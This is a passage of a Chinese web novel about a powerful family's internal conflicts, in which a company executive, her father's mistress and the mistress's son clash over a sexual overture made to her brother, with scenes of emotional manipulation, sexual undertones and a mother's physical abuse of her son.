可这个时候,出现宋折凝的消息就是在为她的新电影预热。 如果那部电影业绩斐然,那秋叶娱乐便会沦为笑柄,董事会也会质疑她的决策和管理能力。 灯火煌煌、车流不息,邱芜澜却感受到了难言的孤寂。 这一牵扯到了家人的公事,她不知能与谁诉说。 她不能让泽安泽然担心,也不想这么快向华君润展露邱家的内部矛盾,偏偏此刻季语薇忙得脚不沾地——就算不忙,她也无法理解自己。 季语薇的认知上限在“利”,而这是更深一层的“权”的问题。 又一次,元旦晚上,季尧的话语浮现耳畔—— 「姐姐,宋折凝只是个戏子。如果不是华映内部混乱到了崩溃,那他们绝没有理由攻击秋叶。」 邱芜澜扶额,眼眸透过指缝看向远天。 她敏锐近妖的弟弟……从一开始就洞悉了一切,忠诚又迫切地告知了她真相。 是她粗暴地封缄了他,而今又有何面目叫他过来,让他听自己那些软弱的废话。 阿尧、她的阿尧…… 如果他不是父亲的情妇所生,那该有多么完美。 “邱总。” 门被轻叩,简去而又返,“有客人来了。” 邱芜澜奇怪她的用词:客人,而非客户? 简侧身,让出身后憔悴的女人。 邱芜澜微顿。 果然是稀客。 秋叶娱乐的大厅里,年长些的前台接待交代新人,“我去上个厕所,你留一下。” 年轻的女孩不疑有她:“好的姐。” 年长的接待快步离开,没有进入厕所,转而进了无人的安全通道。 她抱着手机,盯着屏幕上的联系人犹豫再三,最终还是拨通了语音。 女人抚着胸口,压抑着紧张的悸动,这是她第一次主动联系他。 漫长的等待音一点一滴冷却了这份悸动,在她清醒过来,想要挂断的那一刻,语音被接通了。 “喂?” 听见开朗清爽的少年音的那一刻,女人双颊滚烫,血流加速。 她克制着心情,用略带关切的口吻故作平静道,“季尧,有件事我觉得得和你说一声。” “嗯?”少年翻着剧本,发出漫不经心又适当好奇的鼻音。 “刚才有个女人来公司找邱总,登记的名字和你一个姓。我看她的脸色好像有点不对,是你家的亲戚么。” 季尧目光微凝,“她登记的是什么名字?” “好像是,季葶。” 第78章 第七十八章 季葶抵达秋叶娱乐的时候临近下班, 邱芜澜直接带她回了别墅。 “对不起芜澜,我不想打扰你工作,又不知道你的住所, 只能来公司找你了。” 保养得当的少妇双眼红肿,她像是痛哭过了一轮, 面色憔悴,嗓音沙哑。这样疲倦的面容, 偏偏挤出了两分讨好的妩媚。 任何职业做久了,多少都会有些职业病。 季葶做了二十五年的情妇,来到邱家本家后, 更是被切断了和外界的联系。她已不知道正常的讨好该是何种姿态, 只能拿出自己固有的那套模式——娇媚、柔情。 邱芜澜没有客套地说一句“没关系”, 她单刀直入地切入主题, “难得你来找我, 出什么事了。” “呜…”邱芜澜的语气谈不上关怀, 却是季葶这十几年来, 唯一能听见的问候了。 她抑制不住地哽咽,“我…我是来找你道歉的。” “嗯?” “对不起芜澜……”她掩面哭泣,“我和泽然发生了一点矛盾, 他气冲冲走了, 我联系不上他, 连道歉都没有办法。” 涉及到弟弟,邱芜澜的眸色凉了些许。 季葶虽然和外界脱节, 但并不愚蠢。 她没有电话联系自己, 而是亲自跑来道歉,说明事情非同小可。 她聪明地知道隐瞒和粉饰无用,自己唯一的出路就是趁早坦白。 不管季葶口中的矛盾是何时爆发的, 光是从本家到公司,就有两小时的车程,邱芜澜却至今没有收到邱泽然的消息。 看季葶的用词,似乎也确信邱泽然不会把状告到她这里。 “慢慢说。”邱芜澜抽了张纸巾递给她。 看见递来的纸,季葶眼眶一热,涌出愈多的泪来。 她确信自己没有找错人,整个邱家,她只有邱芜澜可以依靠了。 “芜澜……”她越过纸巾,握住了邱芜澜的手,纤瘦青白的五指紧紧抓着她,像是抓着最后的稻草。 “我真的对不起你,也不知道该如何开口……” 邱芜澜疲于应付这欲擒故纵的话术,“你既然找来了,有话就说吧。” 得到了她温和的态度,季葶像是握住了一颗定心丸。 她瞒不住的,庄园里多得是耳目,不如由她自己坦白。 “前天晚上,我惹你父亲生气了……”她握着那张纸巾,垂头叙说。 两天前,邱岸山带着合作方回了庄园。 来的是与秋叶集团合作十几年的供应商,也是邱岸山二十年的好友。 季葶虽不是女主人,却也要出来迎一迎。这次也不例外。 两人在会客厅谈事,季葶将女佣泡好的茶端了进去。 聊到兴头上的邱岸山伸手握住杯身,旋即霍然甩手,将瓷杯打落在地。 季葶吓了一跳,旋即意识到,茶水太烫了。 那位才来了两天的女佣是第一次泡茶,季葶没有留意检查,端起托盘便送去了会客厅。 “哎呀,怎么了这是。”客人惊道,“季夫人小心,别踩碎片上了。” 邱岸山斜了季葶一眼,那眼神冰冷阴沉,冻得季葶哆嗦了一下。 他没有呵斥季葶,用纸擦着手,笑着开口,“什么夫人,你这可有点冒犯我了啊。” 对方愣了下。 邱岸山的这些老朋友当然知道季葶是什么角色,因此,他们用“季夫人”来称呼她。 季夫人,既不是邱岸山的夫人,也不是邱家的夫人。 “去休息吧,”邱岸山好脾气地对季葶温声道,“让女佣来收拾。” 季葶手脚冰凉地走出会客厅。 这十五年里,邱岸山从没有对“季夫人”这一称呼有过什么意见,可现在,连这充满讽刺意味的蔑称,他都要从她身上剥夺。 季葶瘫软在自己的房中,点了再浓的蔷薇熏香都无济于事。 透过房门,廊上巨大的邱锦画像无时不刻地凝望她,噙着玩味的笑意,像是在看一个十足的笑话。 她已年过四十,既没有容貌,也没有任何工作经历,若被邱岸山驱逐,根本没办法活下去—— 季尧…… 呵,季尧,她倒是还有个姿色不错的儿子。 季葶根本不指望季尧为她养老。 那个贱种和他父亲一样,在她没有价值之后,将她毫不留情地一脚踢开。 他想献媚于邱芜澜,势必会和邱家站在一条线上,把她当做垃圾清扫出去,以免她拖累他的前程。 恐惧如潮水漫灌。 季葶沉浮在凶猛的浪里,慌不择路地攫取能够抓到的浮木。 那天的庄园里,除了邱岸山外,还有一位主人: 放假回来的邱泽然。 她精心收拾了自己,撕下了邱岸山喜欢的苍白,换上了二十出头男孩们无法抗拒的成熟妖娆。 季葶极有自知之明,不论她如何装扮,都入不了财阀少爷的眼,何况这个宅子里,邱泽然是最恨她的人。 为此,她祭出了自己唯一的武器—— “泽然,”暗昧的房间里,她抱着健壮的青年,“你不想试试么,你父亲喜欢的女人。” 听到这里,邱芜澜已然了解了前因后果。 她立刻给本家打去电话,询问邱泽然离开家时的状态。 确定邱泽然没有发病,她才如释重负,再度看向啜泣的女人。 “既然你出现在了这里,说明泽然没有接受你。”她皱眉含怒,“为什么要这样做?你明知道泽然有精神疾病,这样刺激他会发生什么,你没有想过么!” “对不起芜澜…我实在是太害怕了,”季葶泣不成声,“我六神无主,昏了头了,我自己都不知道当时是怎么想的,现在回想起来要是找你商量一下就好了……” 邱芜澜对家长里短的鸡毛蒜皮没有兴趣,可如果是邱家的家事,那就另当别论。 邱泽然是他们之中恢复最好的,即便是邱泽安,如今遇到压力时也还是控制不住发病,而邱泽然初中至今都未曾复发过。 弟弟平安无事,季葶又和盘托出、没有半点隐瞒,省了她很多事情,邱芜澜的心情稍微和缓了些。 “你确实应该找我。”她又为她抽一张纸巾,“从前父亲喜欢你,我不便插手。这次你记住了:以后再有拿不定主意的时候,你第一个该找的人是我。” “我知道了…呜呜……”季葶抬眸,几十年的习惯,她在邱家主人们面前的哭法我见犹怜、梨花带雨,“芜澜,那这一次可怎么办呢……要是岸山知道了我对泽然做了这种事,他会杀了我的。” “我会联系泽然。”邱芜澜欲送客,“时间也不早了,你在季尧的房子里留一晚吧。” 季葶惴惴不安地拉住她的袖子,“我、我想当面和泽然道歉。” 邱芜澜目光下垂,落在那只轻轻揪着她袖口的青白指尖上。 季葶确实很清楚自己的优势所在。 「你不想试试么,你父亲喜欢的女人。」 年轻气盛的儿子没有被这句话激将,此刻,邱芜澜心里却滕升起古怪的篡夺欲。 这股篡夺欲由来已久,它第一次出现在六岁的邱芜澜想要拔除那片蔷薇园时;后来又在母亲去世时达到顶峰。 时间的冲洗下,它褪色了许多,已被邱芜澜遗忘。 如果季葶找的是她、如果她对她说出了那句话,说不准她真的会用她一晚。 这个女人和蔷薇园前的长椅一样,都是父亲的所有物。 她和两个单纯的弟弟不同,对邱岸山没有濡慕。 “如果他愿意的话。”邱芜澜收回手,避开了季葶的触碰。 也或许,她的反应会和邱泽然一样,厌恶恼怒。 “谢谢、谢谢你芜澜。”季葶泪眼婆娑地辛酸微笑,“除了你,我再没有可说话的人了。芜澜,只有你对我好。” 邱芜澜半敛眼睑,没有搭腔。 她送她离开,给邱泽然去了电话。 入耳就是一串脏话。 “她居然还有脸来找你?我昨晚就该把她腿打断!” “好了泽然,”邱芜澜等他骂尽兴了,“这是件丑闻,你明白丑闻该如何处理,对么。” “我不明白!姐姐,我可是在家里被人猥亵了啊!她享受了父亲十几年的爱、抢占了母亲的位置,现在居然还背叛父亲!这种脏东西,我为什么不能把她赶走!” “因为一旦她一无所有,就会发疯攀咬。”邱芜澜轻点扶手,“她在本家待了十五年。泽然,父亲和我都不会允许她的身体离开庄园。” 四十多岁的情妇如马粪般碍眼。 可邱岸山没有赶走她,他照旧养着她。 季葶知道了太多事情,不止前半生要与外界隔绝,她的后半生也绝不能离开邱家。 “是父亲不允许,还是姐姐你不允许?”气头上的邱泽然冷笑。 “你怕的不是她出去乱说我们的事,而是怕她出去后,毁了你‘表弟’的少爷身份吧!” 邱芜澜一怔。 她没有回话,长久的死寂后,对面传来心虚的支吾,“……姐,对、对不起姐姐,我刚才是……” “泽然。”邱芜澜开口,声线徐缓,“方便的话,我想明天和你见一面。” “姐、姐姐…” “我知道你的意思,你不用道歉,有空就来见见我吧。” 她挂断了电话,感到了无法言说的疲惫。 「姐姐,我可是在家里被人猥亵了啊!」 纵然邱泽然是二十多岁的男运动员,季葶不过是个病弱的中年妇女,可这句话也是事实。 邱芜澜握着长时间通话之后有些温热的手机,不知道自己该是什么反应。 「迁怒是很不好的行为。」 「芜澜,你不该把时间精力花在折磨无辜的小熊上。我替你收着,等你不会再欺负它的时候,我会还给你。」 那个被她用头绳虐待的小熊被母亲收走后,她大脑中的某个情感区域仿佛也被一并收走了。 她似乎是应该和邱泽然同仇敌忾、对季葶大加指责的。 可造成如今这一局面的,果真是季葶么。 归根结底,分析始作俑者真的重要么。 她重视的是泽然,那么理当更照顾他的情绪。 可当季葶哽咽着说出这件事时,邱芜澜心中除了对弟弟病情的担忧,就只剩下对这个被囚禁的女人的悲哀。 手机长时间通话的温度尚未消退,又推送了宋折凝的相关资讯。 和哥哥撤掉她的公关、力捧宋折凝一样,季葶的事邱芜澜同样无处可以咨询、求助。 「谢谢、谢谢你芜澜。除了你,我再没有可说话的人了。芜澜,只有你对我好。」 季葶哭着道歉的模样重现眼前,邱芜澜后知后觉地分析出自己对季葶的那份悲哀里的一丝情感:那是名为将心比心的投射。 门外传来迅疾的脚步。 不一会儿,电子锁被打开,俊美的少年猝不及防对上了客厅里邱芜澜的眼睛。 “姐姐!”同样的称呼,和从泽安泽然口中说出的,有着细微不同。 季尧匆匆走向邱芜澜,蹲在她手边,“我听说…妈妈来了?” 邱芜澜俯瞰他,那张脸上的表情焦急又困惑。 “不是在影视城么,怎么回来了?”她替他整理有些凌乱的刘海。 “我担心她会打扰到你。” 邱芜澜勾唇。 真是委婉的说辞。 他明明猜到了,季葶慌张到跑出来找她,一定是惹了什么大祸,他偏要露出困惑的神色,用以和季葶割席、表达自己的无辜。 “阿尧……”邱芜澜闭上眼,轻轻叹息,“泽然恨我。” 季尧瞳孔微缩。 他尚不清楚邱芜澜为何会说这句话,但这一刻,他恨透了季葶,那个肿瘤一样长在他身上、无法摆脱的东西。 “对不起姐姐,”他跪在她脚前喑哑忏悔,“对不起、对不起……” 邱芜澜没有睁眼,喃喃自语:“泽然刚刚也是这么说的,可我不想听弟弟说对不起。” 季尧很快反应过来。 他握着邱芜澜的手,亲吻邱芜澜的指腹,改用甜蜜的声音:“姐姐做的没错,我明白姐姐的良苦用心。” 邱芜澜瞌着眸,没有说话。 季尧便一遍又一遍,濡慕而依恋地唤她:“姐姐、姐姐,我相信姐姐,永远支持姐姐的决定……” 季尧和邱泽然的声音截然不同,在虚假的安抚中,邱芜澜得到了些许安慰。 这安慰如代糖般寡淡,可它毕竟是甜的。 落在季尧发上的手指微收。 半晌,邱芜澜启眸看向乖巧的少年。 他太聪明、太敏锐。 “阿尧,”她踟蹰着,缓缓开口,“坐吧,正好有些话我想和你说。” “好。”下一刻,他盘腿坐在了原地。 纵使邱芜澜主动开口,他亦没有坐去她身边,更没有与她面对平坐,而是以低她一等的姿势,无害且顺从地依偎在她脚旁。 这份顺从并不谄媚、刻意,他抱着一只膝盖,偏头望着她,姿态闲散,神情专注,像是率性所为。 邱芜澜眯眸。 宽慰之余,两种晦涩的情绪同时升起。 她惊心于季尧多智近妖、忌惮他洞察人心的本事;又为此兴奋躁动。 她的阿尧、她最初也是最完美的杰作,十年如一日地臣服于她膝下。 因兄弟矛盾滋生出的低落,被悸动挤走, 邱芜澜微微启唇,呼出滚烫的气息。 她控制不住地伸手、抱住季尧的头,进一步体会天才的驯从。 “嗯……慢一点,就这样…听我说。” 哥哥和宋折凝、弟弟和季葶,还有态度暧昧的父亲……太多的事情邱芜澜无处诉说。 回过头来,她的身后唯独站着的,是被她抛弃的季尧。 第79章 第七十九章 季尧偏头, 亲吻着细腻的腿根。 他听着邱芜澜讲述,在一阵略显紧绷的屏气后,邱芜澜抚过他的后颈, “告诉我阿尧……我该挽回宋折凝么。” 云书被人施压,拒绝了秋叶娱乐撤下宋折凝热搜——如果这是邱承澜在表达不满, 那即便折损颜面、损失大量资金,邱芜澜也要将宋折凝请回秋叶娱乐。 于公, 秋叶娱乐是邱承澜创立的公司,她只是他聘请的管理者; 于私,他是她的至亲, 邱芜澜不想为了工作上的事伤害彼此间的感情。 季尧舔去唇角的水渍。 结合邱承澜先前的行为, 他不难猜测到那个傲慢的男人在做什么打算。 那个天生便拥有一切、占据了姐姐全部心神的天之骄子意识到了自己从前多么幼稚, 试图修正过去的错误。 他的错误、他的修正, 全部以姐姐伤心为代价。 季尧眸光微寒。 邱承澜, 他是那座腐朽的庄园里, 他最嫉妒憎恨的存在。 可事到如今, 他不得不配合着邱承澜的计划。 一旦将原委点明,只会加深姐姐对那个男人的爱戴。 如此一来,宋折凝的牺牲便毫无意义, 一切都将回到原点。 “姐姐。”他自她裙下仰头, 戳破了那层纸, “如果真的是承澜哥做的,那他为宋折凝保持热度的原因就剩下一个了。” 他依旧视宋折凝为旗下艺人, 认定她早晚会回来。 邱芜澜抿唇, 目露挣扎。 季尧搭上她的手背,“姐姐,这不划算。” 秋叶娱乐已经和宋折凝撕破了脸, 这时候求她回来,不仅是打公司的脸,也是在打季语薇的脸。最关键的是,风光回归的宋折凝会成为邱芜澜的污点。 “如果承澜哥真的舍不得宋折凝,至少也该在宋折凝一败涂地的时候邀请她。”季尧凝望着邱芜澜,“宋折凝不是靠营销砸出来的名气,她不需要时刻维持热度。在最低价的时候买入,擦拭后一样能卖出高价,还能维护董事会和公司的颜面。” 这正是邱芜澜最初的想法。 如回收华君润一样,邱芜澜并不在乎私人恩怨,若宋折凝想要回来,她会打开大门欢迎她—— 前提是宋折凝想要回来,而不是邱芜澜去求她。 “姐姐,再等等,现在真的不是个好时机。”季尧恳切地建议,“在她提起二审的时候,秋叶娱乐主动找她,会让公司沦为圈内圈外的笑话。回归后的宋折凝也会更加目中无人,难以管理。” 而季语薇和宋折凝的派系内斗也足可预见了。 这些问题哪一件都不算小事,正因如此,邱芜澜难得对哥哥的想法产生了迟疑。 她不想违背他,可也不能眼看着十多年的心血被糟蹋。 邱芜澜拧眉,幽幽开口:“最终决策者,是董事长。” “董事长没有发话。”季尧道。 “他发话呢?” 季尧腰背塌了下去,半垂眼睑。 他听出邱芜澜的苦闷,她问这话,分明是想要得到支持。 然而,元旦被驱逐的历历在目,季尧不想再经历那样的痛苦。 他没能立刻做出取舍,沉默无言了片刻。 邱芜澜蓦地躁戾恼火,不受控制的欲望在体内游蹿,她受够了这种身不由已,扯住季尧的发根,让他正视自己。 “回答。” 少年脆弱的脖颈被凹折到极致,他犹豫再三,半晌,艰涩地回答:“制定决策的,不是董事长,而是股东大会。” 邱芜澜下意识一脚踹上季尧胸口,却在看见少年紧张到颤栗的眼睫时,想起了宋折凝背叛的那个元旦。 那一晚,季尧也是如此。 他聪明到了极点,却没有圆滑的明哲保身,而是冒着被她厌恶的风险,告知了她自己的猜想。 他的推理明明精准无误,却没有得到该有的嘉奖。 邱芜澜已为那次驱逐感到后悔,难道这一次,她还要辜负这珍贵无比的真心么。 若她再次辜负他,那么往后,她还能从谁的口中听到真话…… “让我想一想,”邱芜澜揉着太阳穴,自言自语般,“让我想想……” 季尧一愣,他没有错过邱芜澜那一瞬的冷戾,做好了被驳回的准备。 邱芜澜对邱承澜有着近乎偏执的爱,没人能在她面前挑拨离间,季尧未曾想过一次成功,他仅仅是奢望能在邱芜澜心里撬动一丝裂缝而已。 可她居然迟疑了。 没有恼怒、没有反驳,而是迟疑着应下了。 季尧心跳如鼓,投给他的那条蛛丝变得粗壮如麻。 他抓紧了它,距离井口近了一大步。 压抑着狂喜,他听见邱芜澜道,“对了,你妈妈来了,我让她在你房子里休息。” 季尧猛地回神,精神再度绷紧,“妈妈她……怎么会突然来这里?” 邱芜澜简单讲述了一遍事情经过。 “泽然心情很不好,阿尧,我需要她向泽然道歉。你明天有事的话,不用陪在这里。” 她给了季尧一个台阶,让他避开亲生母亲向人道歉的难堪场面。 “不,姐姐。”季尧揪住了她的裙摆,“她对泽然哥做了这种事,我怎么能无动于衷。” “你确定么。”邱芜澜蹙眉,“泽然是受害者,他现在情绪不稳,我恐怕不能在他面前袒护你。” “泽然哥经历了这种事,发点火也是应该的。” “他对你有很深的成见,看见你后会更受刺激。”邱芜澜已经预料到了那副场景,“阿尧,你没必要去。” “这是我该承担的责任。”季尧垂眸,“我也不可能一辈子避着泽然哥。” 邱芜澜抚过他落寞眉眼。 她知道他并非对邱泽然感到抱歉,也并非是想季葶共进退。 他只是作为季葶的儿子被连累,无可奈何地向这个家里的主人低头,表达自己的卑顺。 她无法替他感到愤怒,季葶是他的母亲,是他唯一的亲人,如同邱岸山再怎么不正直,都是她的父亲,她不会乐意听见有人贬低她的家人。 “去看看你妈妈吧,你们好久没见面了。”邱芜澜叹息着放手,“让她别再做蠢事了。” 季尧低头,在她膝上落吻。 “我会劝她,让她别再打扰到姐姐。” 邱芜澜伸手,抬起少年的下颚,端凝这张美到圣洁的脸。 月光斜入客厅,在皎洁的光辉中,季尧读出了邱芜澜的浓浓怜惜。 她在为他痛惜。 季尧偏头,枕着邱芜澜的手,感受着她带着温凉的掌心。 “啪——” 火辣感猝然从脸颊上漫开。 季尧搭着门把手,还没有来得及关上别墅的大门。 他偏着头,脸上浮现巴掌大的红印。 身前的女人沉冷地怒视他,“去哪了。” 季尧自那烧灼感中扬唇,“去见姐姐了。” “啪——”又是一声清响。 季葶怒火中烧地低吼,“贱货、贱货!你真是和你爹一样离不开女人!” 季尧望着她歇斯底里的模样,话中的“爹”不知是指他的亲生父亲,还是她幻想中的继父邱岸山。 “不,你比他更窝囊更废物!”季葶憎恶地瞪着他,“他至少能让女人怀孕,你呢?靠着我卖身的钱,你真以为自己是邱家少爷了?我告诉你,没了我、没了年轻,你什么都不是!” 季尧沉默地站立着,感到荒谬离奇。 两分钟前,他的脸被没有血缘关系的女人爱抚着,她的动作、神态间充斥着对待艺术品的爱惜; 而现在,他的亲生母亲用对待垃圾臭虫的态度,欲将他碾成烂泥。 姐姐…… 才离开不过两分钟,他便陷入了疯狂的思念。 他想姐姐、他想回到姐姐身边…… “你还有脸回来!你还有脸来见我!”削瘦的十指紧抓着季尧的胳膊,指甲刺进他的皮肉里,“狼心狗肺的贱货!这半年你来看过我一次吗!是谁在供你穿名牌、住豪宅的!你竟敢抛下我——现在急着来找我了?呵,别以为我不知道你在想什么。” 那双不复年轻的眼睛里充满血丝,近距离盯着季尧,“你是怕我连累了你,怕因为我被扫地出门、被他们厌恶。” “哈。”与他相似的脸上扯出一抹邪佞的嗤笑,季葶贴紧了他,“别以为甩掉我你就能好过。我要是待不下去了,绝不会让你留下享福!” 季尧听懂了她的意思。 “我知道了妈妈,”他垂眸回道,“我会帮你道歉的。” “你当然该帮我!”季葶倏地拔高声音,“要不是你那么没用,我早就是邱芜澜的妈妈了!” 季尧指尖一颤,抬眼看向她。 女人踉跄后退,抓捧着自己的脸,干涸的眼睛藏匿在暗红色的美甲间,唇角噙着一丝疯笑。 像是沉浸在某种极乐的幻想中,季葶不再歇斯底里地吼叫,只抱着自己,痴痴喃语。 “邱芜澜……邱芜澜的妈妈……哈哈、哈哈哈哈……” 魔怔的低笑愈来愈响,可是再响,也只是洞穴里的虫声,窸窸窣窣,压抑地埋藏地下。 季葶笑得停不下来,更停不下那美妙的幻想。 她是在邱夫人逝世不到一年进入的本家,切身体会过邱家孩子们对邱锦的爱戴。 两个男孩为了守护母亲的地位,疯狗一般折腾她; 邱芜澜早熟得可怕,她那样的冷静自持,可也同样流露着对母亲的怀念和哀伤。 季葶半辈子都笼罩在邱锦的阴影下,永远摘不掉对门的画像。 如果她是邱夫人、如果她是邱芜澜的妈妈——当她哭着去找邱芜澜时,她一定会焦心地坐在母亲身旁,柔声细语地询问她发生了什么,然后把那个嚣张猖狂的邱泽然叫过来,当着她的面教训他,让他道歉认错,给自己跪下。 如果她是邱芜澜的妈妈,她进出公司哪里用得着在前台登记。 所有员工都会巴结她、欢迎她,在她面前阿谀奉承,指望她能在邱芜澜面前说一句好话。 如果她是邱芜澜的妈妈,她想要什么都不必看邱岸山脸色,更不会被区区几个佣人怠慢嘲讽。 季葶笑着笑着咳嗽了起来,她捂着胸口,咳得涕泗横流、无法喘气,以至于大脑缺氧、眼前昏黑。 她不得不撑着墙壁,将羸弱如纸的身体倚在墙上。 季葶眼里的飘飘然终于散去,浮现出憎恨。 如果她是邱芜澜的妈妈,又怎么会拖着这样一副死气沉沉的身体残喘苟活! 邱锦,那个女人真是该死的好命。 她出生在邱家,得到了邱家家主的爱,又有那么多优秀孝顺的儿女——她什么都有了,她凭什么拥有这些! 季葶在挂着邱锦肖像的庄园里活了半辈子,她恨她入骨,但也很早便不再奢望成为邱夫人了。 她对邱岸山死了心,这个时候,邱芜澜爱抚季尧的画面撞入季葶眼帘。 她没有成为邱夫人的可能,却还有成为邱芜澜妈妈的机会! 是了,她还有儿子,儿子就是她最大的希望! 季葶猛地扭头,看向两颊被她扇得红肿的季尧。 “嗬……我的宝贝儿子,”她颤巍巍朝他走去,一改先前的疯狂,心急如焚地托起他的脸来,“你的脸怎么变成这样了,快、快去冰敷,我包里有面膜和护肤品,你快去拿!” 季尧定定看着她。 片刻,他别过头去,抗拒道,“没事的妈妈,我没关系的。” “蠢货!”那维持不到半分钟的慈祥瞬间变成狰狞,季葶咬牙切齿,“你最有用的就是这张脸,没有我的容貌,你怎么能入得了邱芜澜的眼!” “姐姐说,我没有必要过度在意外表。” “闭嘴!闭嘴闭嘴!”季葶捂着耳朵尖叫起来,曾几何时,那个男人和邱岸山也是这样说的。 “真话假话你听不出来吗!”她恨不得再抽季尧一耳光,“她说这话是因为你现在还看得顺眼,再过几年、你长胖五斤,在他们眼里就是块恶心的猪油!” 骗子、骗子骗子!一群花言巧语的骗子! 季尧紧握双拳,犟在原地,不肯苟同。 他的反应让季葶愣了一下。 记忆之中,季尧从未反抗过她。 季葶猛地抓起他的胳膊,强行把他带往浴室。 她转身走了两步,蓦地回过头,少年依旧沉默地伫立着。 他长大了,高过季葶一个头,早已不是她随手能拉扯、打骂的幼童。 意识到这一点,季葶恼羞成怒地剧烈咳嗽起来,一种无论如何用力,沙子都在从指缝泄露的失控感让她惊慌失措。 她一把抓住季尧的头发,连拖带拽地把他扯向浴室,怒喝道,“给我过来!” 发丝被暴力拉扯着,季尧弯腰,跌跌撞撞地进入浴室。 季葶推开冷水龙头,把毛巾打湿,包了冰块按去季尧脸上。 季尧扭头推拒着,不肯配合她的动作。 拉扯了几个回合,季葶噌的冒了火。 她被邱锦的儿子拒绝就算了,现如今,连她自己的儿子都不肯听话! “小畜生!”她一把撒开毛巾,剔透的冰块掉入台盆,溅起一片冷水。 她没了耐心,抓住季尧后脑勺上的头发,把他的脸往冰水里摁。 “呼…妈妈……”猝不及防如水,季尧被呛得咳嗽,他哀求着,本就白的皮肤冻得发红,眼睛被水刺激得氤氲,水珠和泪水同时坠落,无助迷蒙。 季葶看着,忽而笑了起来。 下一刻,她骤然使劲,用上了两只手,把季尧死死压在水里。 季尧试图反抗,耳边却落下一声:“你知道邱岸山最喜欢我什么样子么……” 季尧一顿。 季葶压着他,视线对着镜子,注视镜子中自己摇摇欲坠的身影。 “他最喜欢看我悲惨的模样。” 她恍惚着,分不清是在和季尧说话,还是在自言自语。 “她是邱岸山的女儿,她和他有一样的病。所以……”那双血丝遍布的圆眸瞥向水中的儿子,“季尧,妈妈是为了你好。” 季尧撑在台沿上的双手缓缓松开。 他不再试图反抗,任由季葶一下又一下地把他砸进冰水中。 反复数十次,待她筋疲力尽,这场冰冷的折磨才终于结束。 “拿着!”她将面膜和护肤品砸去他身上,气喘吁吁地扶着墙离开,留给他一抹嫌恶的视线,“收拾好你那张脸,别让邱芜澜倒胃口。” 她走之后,少年跌坐在积水满地的浴室里。 发梢淌下冷水,从额角流入衣衫。 他呛咳出水汽,浑身湿透滴水,胸口剧烈起伏着,大口汲取空气。 湿冷的视野里猩红一片,整个世界都被诡异的红色胀满。 良久,他抬起头,打湿成绺的刘海间露出涣散失焦的浅色瞳孔。 那对圆眸直勾勾地盯着某处,如困于暗牢的囚徒盯着头顶的天窗,眼神偏执而悚然。 在深不见底的暗红色中,尚有八颗星星注视他,一闪一闪地记录着他所经历的一切。 外面骤然传来嘶吼和砸东西的重响。 疲惫不堪的女人拖着病体,将卧室里的零食拖走扔出。 她从卧房里跑出,冲进书房、厨房,目如鹰隼搜寻着整座别墅里的垃圾食物,把花花绿绿的零食袋子、饮料瓶全都丢去了花园,仿佛是在消灭势不两立的仇敌。 季尧勾了勾指尖,慢慢从地上爬起,正对着一颗温柔的星星。 星星看见了他。 第80章 第八十章 “姐、姐姐。” 邱芜澜打开门, 看见邱泽然苦巴巴地望着她,近一米九的个子小心翼翼地皱缩成一团。 半天之前邱泽然还在破口大骂,发誓今天过来要弄死季葶;眼下面对邱芜澜, 他咽了口唾沫,忐忑不安地打量她的脸色。 他磕磕巴巴地张口, 选择主动道歉,“昨天电话里…” 邱泽然实在不习惯道歉, 刚别扭地起了个头,就被邱芜澜拥入怀中。 清浅的兰草气包裹了他,邱泽然愣怔着, 自从初二异食症消退后, 再没有被邱芜澜这样抱过了。 即便是小时候, 姐姐也只会在他发病时这样温柔。 “对不起。”他听见邱芜澜在他耳边低语, “泽然, 我不该那样对你。” 她抚上了他的后颈, 贴着他的脸颊, 这样近的距离,即便是邱泽然也能察觉邱芜澜流露的伤感。 “我该多关心你一些的。你…被吓到了么。” 邱泽然倏地眼鼻酸热,后知后觉地委屈万分。 “姐姐, ”他揪住邱芜澜的衣摆, “我讨厌那个女人。” 听见这直白的童言, 邱芜澜宽慰了些许。 昨晚的那句话,爆发出邱泽然多年的怨气。邱芜澜不敢想象, 自己到底是个多么糟糕的姐姐。 大约邱泽然眼中的自己, 和她眼中的邱岸山没有区别。她只比邱岸山更加无能、更加可恶,毕竟她为家族来带的利益不及邱岸山的百分之一。 邱泽然怨恨他,那么邱泽安呢? 他们平时的乖顺, 是否只因她是长姐;那些示好,是否也只因他们是家人而已——如同她见到邱岸山时,也会尊敬地喊他父亲。 而今看见邱泽然小声嗔怪的模样,邱芜澜放下了心。 纵使他们之间尚有隔阂,好在泽然是个单纯的孩子,他怪她,却也察觉到了她对他的爱意。 “进来吧。”邱芜澜挽着他入内,“这件事,会有个说法。” 邱泽然入门便看见了惴惴不安的季葶。 那天晚上,她一身脂粉气,化着秾丽的妆容,披着半透的黑纱开衫,活像一只黑寡妇蜘蛛。 现在,她一身白裙,面色惶然苍白,站在空调房内都摇摇欲坠。 妈的,就会在外面装白莲! “泽然……”她凄哀地唤了一声,忧愁又痛苦地望着他,说不出是歉意还是伤心。 “滚!”邱泽然想起前天晚上就恶心,“站那儿别过来。” “我…”季葶咬着下唇,无措又悲伤地望向邱芜澜,全然依仗着她。 “泽然哥。”邱芜澜开口前,季尧端着碗碟从厨房走出,将菜摆去桌上,径直朝邱泽然走来。 他于他十米外立定,低头折腰,“对不起。” 他这样乖顺,邱芜澜却下意识皱了眉,莫名不太舒服。 “你怎么在这?”邱泽然也拧眉,全身上下都写满了不爽。 “我为妈妈的错误向你赔罪。”季尧就着低头的姿势回答了他。 “哈,你可真是孝顺。”邱泽然抱胸,讥笑道,“好,那我就瞧瞧,你打算拿什么赔你妈的罪。” “只要泽然哥能够消气,什么都行。” 邱泽然挑眉,“我要你妈去死行不行啊。” 季葶猛地一颤。 这显然是个无法回答的问题,季尧没有回应。 邱泽然嗤笑,“行吧,虽然你妈是个不要脸的小三,但毕竟一把年纪了,我也没有恶毒到要逼迫一个老人。” 季葶压抑呼吸,她在邱家已经听了够多的冷言冷语,可这句还是令她有些破防。 “你愿意代你妈赔罪,那就好说多了。这样吧——”邱泽然妥协道,“你脱了衣服,围院子跑三圈,边跑边喊‘我是小三的儿子’。我就当没发生过这件事,怎么样?” 季葶血色尽褪。 她不可置信地望向邱泽然,纵然知道这孩子从小乖张,也没料到他会如此恶劣。 “啧,问你话呢。”邱泽然不耐烦道,“搞快点,我忙着回去训练。你愿意,这事儿一笔勾销;不愿意的话,我就只能把你妈干的好事告诉父亲了,相信父亲会比我想得周全,处理得也更妥帖。” “不!不要!”季葶猛地从怔色中抽离,她扑向季尧,死死抓着他的胳膊,“阿尧,帮帮妈妈,帮妈妈给你泽然哥哥道个歉。” 